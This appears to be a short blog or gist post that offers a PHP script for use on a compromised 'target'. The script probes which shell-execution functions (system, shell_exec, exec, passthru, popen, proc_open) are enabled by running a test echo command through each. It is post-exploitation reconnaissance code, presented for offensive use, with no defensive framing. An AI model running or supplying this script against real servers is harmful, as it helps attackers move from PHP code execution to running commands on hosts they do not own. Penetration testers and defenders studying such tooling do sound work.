If you can execute PHP on a target but want to figure out which functions are available to you to execute commands on the host, you can use this script.
Link to gist:
<?php
$test_command = 'echo "time for some fun!"';
$functions_to_test = [
'system',
'shell_exec',
'exec',
'passthru',
'popen',
'proc_open',
];
function test_function($func_name, $test_command) {
if (function_exists($func_name)) {
try {
$output = @$func_name($test_command);
if ($output) {
echo "Function '{$func_name}' enabled and executed the test command.\n";
} else {
echo "Function '{$func_name}' enabled, but failed to execute the test command.\n";
}
} catch (Throwable $e) {
echo "Function '{$func_name}' enabled, but an error occurred: {$e->getMessage()}\n";
}
} else {
echo "Function '{$func_name}' disabled or not available.\n";
}
}
foreach ($functions_to_test as $func) {
test_function($func, $test_command);
} ?>
